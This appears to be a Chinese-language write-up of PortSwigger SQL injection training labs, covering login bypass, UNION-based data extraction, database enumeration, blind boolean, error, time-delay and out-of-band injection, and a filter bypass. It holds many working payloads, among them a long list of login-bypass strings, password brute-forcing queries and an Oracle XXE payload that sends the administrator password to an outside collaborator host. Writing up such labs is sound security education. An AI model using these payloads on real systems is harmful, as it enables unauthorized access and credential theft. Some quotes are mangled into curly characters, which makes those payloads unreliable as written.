Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
:::info
This lab contains an SQL injection vulnerability in the product category filter. When the user selects a category, the application carries out an SQL query like the following:SELECT * FROM products WHERE category = 'Gifts' AND released = 1
To solve the lab, perform an SQL injection attack that causes the application to display details of all products in any category, both released and unreleased.
:::
点击 view details [https://0a1a000803a746a4c0cbbd7d0031001c.web-security-academy.net/product?productId=6](https://0a1a000803a746a4c0cbbd7d0031001c.web-security-academy.net/product?productId=6)
在6 后面添加一个 ’
提示产品ID 无效 那就是不存在 了
那就是应该不存在sql注入了 (经过测试的 也不是数字型sql注入 )
返回再找一下是否存在其他sql注入点
点击蓝色字体 ,可以跳转到其他页面
输入一个 单引号就会报五百的服务器错误 ,可能存在sql 注入
使用最常用的OR 永恒为真 去测试一下
’ or 1=1 –
显示是完成了任务 ,证明存在sql注入了
Lab: SQL injection vulnerability allowing login bypass
:::info
This lab contains an SQL injection vulnerability in the login function.
To solve the lab, perform an SQL injection attack that logs in to the application as the user. administrator
:::
名字叫做可以绕过登录的sql注入
想到绕过登录 ,一般使用sql注入的万能密码
登录框 使用弱口令登录失败
输入admin’ 报错 服务器错误
是否存在sql注入呢
这里使用万能密码 永恒为真直接登录
表示通过了
这里贴一下万能密码
万能密码
:::info
‘or’=‘or’
admin
admin’–
admin’ or 4=4–
admin’ or ‘1’=‘1’–
admin888
"or “a”="a
admin’ or 2=2#
a’ having 1=1#
a’ having 1=1–
admin’ or ‘2’=‘2
’)or(‘a’=‘a
or 4=4–
c
a’or’ 4=4–
"or 4=4–
‘or’a’=‘a
“or”="a’=‘a
‘or’’=‘
‘or’=‘or’
1 or ‘1’=‘1’=1
1 or ‘1’=‘1’ or 4=4
‘OR 4=4%00
"or 4=4%00
‘xor
admin’ UNION Select 1,1,1 FROM admin Where ‘’=’
1
-1%cf’ union select 1,1,1 as password,1,1,1 %23
1
17…admin’ or ‘a’='a
‘or’=‘or’
‘or 4=4/
something
’ OR ‘1’=‘1
1’or’1’=‘1
admin’ OR 4=4/
1’or’1’='1
:::
:::info
asp aspx万能密码
1:"or “a”="a
2: ')or(‘a’=‘a
3:or 1=1–
4:‘or 1=1–
5:a’or’ 1=1–
6:“or 1=1–
7:‘or’a’=‘a
8:“or”="a’='a
9:'or”=’
10:‘or’=‘or’
11: 1 or ‘1’=‘1’=1
12: 1 or ‘1’=‘1’ or 1=1
13: ‘OR 1=1%00
14: "or 1=1%00
15: ‘xor
16: 用户名 ’ UNION Select 1,1,1 FROM admin Where "=’ (替换表名admin)
密码 1
17…admin’ or ‘a’='a 密码随便
:::
:::info
PHP万能密码
'or 1=1/*
User: something
Pass: ’ OR ‘1’='1
:::
:::info
jsp 万能密码
1’ or ‘1’=‘1
admin’ OR 1=1/*
:::
Lab: SQL injection UNION attack, determining the number of columns returned by the query
:::info
This lab contains an SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables. The first step of such an attack is to determine the number of columns that are being returned by the query. You will then use this technique in subsequent labs to construct the full attack.
To solve the lab, determine the number of columns returned by the query by performing an SQL injection UNION attack that returns an additional row containing null values.
:::
目标是使用 union 去查询列数
输入单引号使他正常报错
使用order by 进行查询有几个地方可以回显
查询到4的时候就报错 了
这里发现一个点 前面这种判断列都是使用 1,2,3 来代替
但这里使用1,2,3 回显错误
把1,2,3 换成 NULL 就回显成功
新知识 啊
Lab: SQL injection UNION attack, finding a column containing text
:::info
This lab contains an SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you first need to determine the number of columns returned by the query. You can do this using a technique you learned in a previous lab. The next step is to identify a column that is compatible with string data.
The lab will provide a random value that you need to make appear within the query results. To solve the lab, perform an SQL injection UNION attack that returns an additional row containing the value provided. This technique helps you determine which columns are compatible with string data.
:::
还是单引号报错
目标是找出可以写字符串的那一列
从第一个开始测试 ,到第三个 只有中间那个能写入字符串
Lab: SQL injection UNION attack, retrieving data from other tablesLab: SQL injection UNION attack, retrieving data from other tables
:::info
This lab contains an SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you need to combine some of the techniques you learned in previous labs.
The database contains a different table called users, with columns called username and password.
To solve the lab, perform an SQL injection UNION attack that retrieves all usernames and passwords, and use the information to log in as the administrator user.
:::
目的 查询user 表里面的内容 拿到 密码 登录上去
使用order by 查询
到3 就报错了
使用刚才的union select 查询可以写字符串的列
两个地方都可以
这里查询出了administrator 的 用户密码
登录就成功 了
成功
前面五个题 让我了解到了基础的sql 注入 绕过登录权限 ,查询sql 的列 ,使用 union select 查询可以写入字符串的位置 , 查询我们需要的数据(users) 表
Lab: SQL injection UNION attack, retrieving multiple values in a single column
讲注入的结果放在单列中
一开始没懂上面意思 ,上面叫把查询结果放在单列中 ,
查了之后才知道,有的时候,查询结果只返回单列,不返回多列 。
所以要是使用方法把结果放在一列显示出来 。
在列中间加一下分隔符就可以了
payload' UNION SELECT username || '~' || password FROM users--
可以看出 有两列
看得出来 只有第二列才返回信息 ?category=Lifesty' union select NULL,username || '~' || password FROM users--=
这样就把密码注入出来了
Lab: SQL injection attack, querying the database type and version on Oracle
:::info
This lab contains an SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query.
To solve the lab, display the database version string.
:::
请显示数据库版本字符串。
几种数据库的版本查询方式
数据库类型 | 查询版本语句 |
---|---|
Sql Server & Mysql | SELECT @@version |
Oracle | SELECT * FROM v$version |
Postgre | SELECT version() |
依旧是两列
这里如果直接查询字段 字符串 是不可行的
要后面加入表 from 表
根据提示 Oraclel 数据库 有一个内置表
Oracle 上有一个内置表,您可以将其用于此目的。例如:dualUNION SELECT ‘abc’ FROM dual
加上 from dual – 试试
要查看数据库的信息 from 指向的就是数据库 v&version
payload ' union select banner,null from v$version --
--------------------------------------------------
Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft
依旧是单引号报错
注释 – -
order by
查询版本 且 没有啥过滤
Lab: SQL injection attack, listing the database contents on non-Oracle databases
这个靶场每个环境的数据库还不一样
查看的他的数据库备忘录
SQL 数据库备忘录
https://portswigger.net/web-security/sql-injection/cheat-sheet
查询表名
查询字段
好像不是这个
找到一个users的 表
查字段
查账号密码
成功登录
Lab: SQL injection attack, listing the database contents on Oracle
Oracle中等效于信息模式的操作
其实Oracle中也有类似信息模式的东西,比如查所有的表
SELECT * FROM all_tables
直接叫all_tables
SELECT * FROM all_tab_columns WHERE table_name = ‘USERS’
ALL_TABLES 挺好用的
查字段
这里不支持或者禁用了informatin_schema
这里使用 all_tab_columns
查数据
---------------------Blind----------------------
Lab: Blind SQL injection with conditional responses
提示了都是小写密码
抓包获取信息
这里根据题目 可以知道 cookie 是容易受攻击的 正常是会显示 weclome back!
如果我们输入一个单引号
并没有找到 welcome
我使用 or 永恒为真 然后注释掉
welcome 又回来了表示 存在sql 注入的 但是不回显数据
查询一下是否存在users 这张表
验证条件是否为真,确认存在一个名为 的表。users
payload
select ‘a’ from users limit 1 =‘a’
这里查询的a 在第一个是否是 a
因为我们要查询的用户名是 administrator
返回的是welcome 就证明是存在的
下一般验证是否存在administrator 这个用户
还是存在的
下一步是确定用户密码中有多少个字符
这里爆破得知是 0-19 是20个字符
下一步就是查出密码的值
payload'+and+(select+substring(password,1,1)+from+users+where+username%3d'administrator')%3d'a'--
成功登录 完成
Lab: Blind SQL injection with conditional errors
cookie 处 输入一个单引号报错
不知道是否真实存在sql注入 也有可能是其他错误
使用两个 ’ ’ 引号试一下 闭合一下
验证错误是否消失。这表明语法错误
返回正常的信息
‘||(select ‘’)||’
查询无效 还是返回五百 可能是哪里错误了 也有可能是数据库 这里知道是oracle数据库
from dual 表 试一下
返回正常的 这里可以表示 是与数据库交互的 存在盲注
查询users 表
证明存在的
payload ||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
- 这表明您可以根据特定条件的真实情况有条件地触发错误。该语句测试一个条件,如果条件为真,则计算一个表达式,如果条件为 false,则计算另一个表达式。前一个表达式包含被零除,这会导致错误。在这种情况下,两个有效负载测试条件和 ,当条件为 时会收到错误。CASE1=11=2true
- 可以使用此行为来测试表中是否存在特定条目。
使用以下查询检查用户名是否存在: administrator'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
判断密码长度'||(SELECT CASE WHEN LENGTH(password)>3 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
爆破密码的值'||(SELECT CASE WHEN SUBSTR(password,§1§,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
登录成功
Lab: Blind SQL injection with time delays
利用 SQL 注入漏洞造成 10 秒延迟。
还是cookie
输入单引号测试
并没有发现报错
几种数据库的延时 方法
' || pg_sleep(10) --
延时10 秒
一般只会延迟一秒 两秒
但是这里明显延时了不止十秒 故而成功延迟了
Lab: Blind SQL injection with time delays and information retrieval
还是cookie
但也是没有任何响应但数据是同步的 ,还是可以使用延时来测试
单引号正常响应
使用 pg_slepp(4) 还是可以正常延迟
验证是否存在administrator的用户
’ select case when (username=‘administrator’) then pg_sleep(4) else pg_sleep(0) end from users --;
这样是延迟不了的 ,这里还存在一个堆叠注入
就是在单引号的后面加入分号
加入 %3b 成功延时五秒
这里如果直接使用l; 是不可行的
然后测试密码长度有多少个字符
payload
'%3bselect case when (username=‘administrator’ and length(password)>1) then pg_sleep(5) else pg_sleep(0) end from users –
使用case去进行查询SQL CASE表达式是一种通用的条件表达式,类似于其它语言中的if/else语句
成功延时
密码是20位验证之后
bp爆破密码
‘%3BSELECT+CASE+WHEN+(username=‘administrator’+AND+SUBSTRING(password,2,1)=’§a§')+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END+FROM+users—
这里爆破之后延迟10秒的太多了 根本不是我想要的 也不知道哪里错了
这里是线程的问题 线程调大了的话有偏差
线程调成1
就爆破出来了
Lab: Blind SQL injection with out-of-band interaction
一个带外注入 ,这里提示可以使用xxe 的模式去外带
XXE 基本格式
<?xml version="1.0"?>]>
4
这里使用oracle 对xml 字段的处理 使用 xmltype
‘+UNION+SELECT+EXTRACTVALUE(xmltype(’<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+“http%3a//这里使用burp默认的dns检测 /”>+%25remote%3b]>‘),’/l’)+FROM+dual–
由于我这里burp 有问题检测不了
其他的服务器 他靶场又不允许没法验证
Lab: Blind SQL injection with out-of-band data exfiltration
TrackingId=x’+UNION+SELECT+EXTRACTVALUE(xmltype(‘<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//’||(SELECT+password+FROM+users+WHERE+username%3d’administrator’)||‘.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>’),‘/l’)+FROM+dual–
Lab: SQL injection with filter bypass via XML encoding
XML 格式的数据
storeid 试一下能不能里面数字相加 就和模板注入一样 {1+1}
这里1+5 报错
这里1+1 返回200 正常
输入一个union select username
提示检测到攻击
那我们就要绕过这个 ,一般使用编码进行绕过
使用 bp 工具 hackvertor
编码发送之后 就不会拦截了
绕过之后就查询用户密码
payload
<@hex_entities>1 UNION SELECT username || ‘~’ || password FROM users<@/hex_entities>